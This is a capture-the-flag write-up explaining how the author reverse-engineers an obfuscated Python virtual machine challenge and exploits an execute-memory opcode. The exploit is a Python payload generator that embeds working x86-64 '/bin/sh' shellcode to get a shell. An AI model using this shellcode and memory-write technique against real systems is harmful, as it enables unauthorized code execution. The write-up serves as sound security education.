how many layers of vm are you on
like,, maybe 5, or 6 right now my dude
you are like a baby... watch this
nc 2020.redpwnc.tf 31755
Looking at the python file shows that it writes out a file named
breakout.aallo and calls
exec on a string after base64-decoding and lzma-uncompressing it. We can modify the file to save the executed file to disk instead. It's a python script, but all of the variables are random unicode characters. Although the python interpreter is happy to run the code, it's nearly impossible to understand.
I wrote a small script to replace all of the unicode characters with a different name:
final = b'' mapping = dict() counter = 0 for c in decompressed: if c >= 128: if not c in mapping: mapping[c] = 'v' + str(counter) counter += 1 final += mapping[c].encode() else: final += bytes([c]) open('unpacked1.py', 'wb').write(final)
This results in a slightly easier to read file:
I went ahead and renamed all of the variables and cleaned up the file. The resulting file was clearly an interpreter. An interpreted program is passed through argv, which is then loaded into interpreter memory (an array). The first two bytes of the program contain the address to start interpreting at.
The interpreter isn't too complicated, but it has an interesting instruction
elif instr_type == '%': idd = id(memory[registers['ip']:]) + 48 mmapped = mmap.mmap(-1, mmap.PAGESIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC) c_functype = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_int) v3v17v25v21 = ctypes.c_void_p.from_buffer(mmapped) function = c_functype(ctypes.addressof(v3v17v25v21)) v3v19v57v10 = bytes(memory[registers['ip']:]).replace(b'\x00', b'') mmapped.write(v3v19v57v10) retVal = function(idd) del v3v17v25v21 mmapped.close()
This instruction mmaps a new block of memory, loads the memory following the instruction pointer's current position, and executes it. This means if we somehow insert shellcode into memory, we can execute by using this opcode.
We also have the file
breakout.aall which is the program interpreted by this interpreter. I wrote a script to print a disassembly of this file. This program, when executed by the interpreter (which is executed by the python interpreter), loads the string
https://aaronesau.com/files/objectively-wrong.png into memory, and then accepts user input.
breakout.aall acts as an interpreter itself. It has five instructions:
>which increments the stack pointer
<which decrements the stack pointer
+which increments the value at the stack pointer (dereferences the stack pointer and increments the value)
-which decrements the value at the stack pointer
?which acts as a NOP
We can use
breakout.aall to write values to memory. Since, the opcodes for
breakout.aall is also stored in memory, we can modify the executed opcodes to include a
% instruction to execute shellcode.
The approach is clear: write shellcode to memory, then overwrite parts of
breakout.aal in memory to jump to the shellcode.
breakout.aall has a NOP instruction that we can overwrite to
% to call shellcode. I wrote a script to generate the payload:
sp = 1469 def move_sp_to(goal): global sp old_sp = sp sp = goal if goal == old_sp: return '' if goal > old_sp: return '>' * (goal - old_sp) if goal < old_sp: return '<' * (old_sp - goal) def write_val(index, value, initial_value=0): global sp ret = move_sp_to(index) if value == initial_value: return ret if value > initial_value: return ret + '+' * (value - initial_value) if value < initial_value: return ret + '-' * (initial_value - value) payload = "" previous = b'\x01\x00\x8a\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00https://aaronesau.com/files/ob' shellcode = b'\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05' print(shellcode) # % INSTR AT 1398 payload += write_val(1398, 0x25, 0x5) # write payload i = 0 for b in shellcode: payload += write_val(1400 + i, b, previous[i]) i += 1 # trigger shellcode payload += "?" print(payload)
Since we can only increment and decrement the values at certain locations, I included the values at the memory location before running the script, so that those addresses could be incremented/decremented appropriately.
Piping the output from this script into the program gives us a shell, and we can get the flag: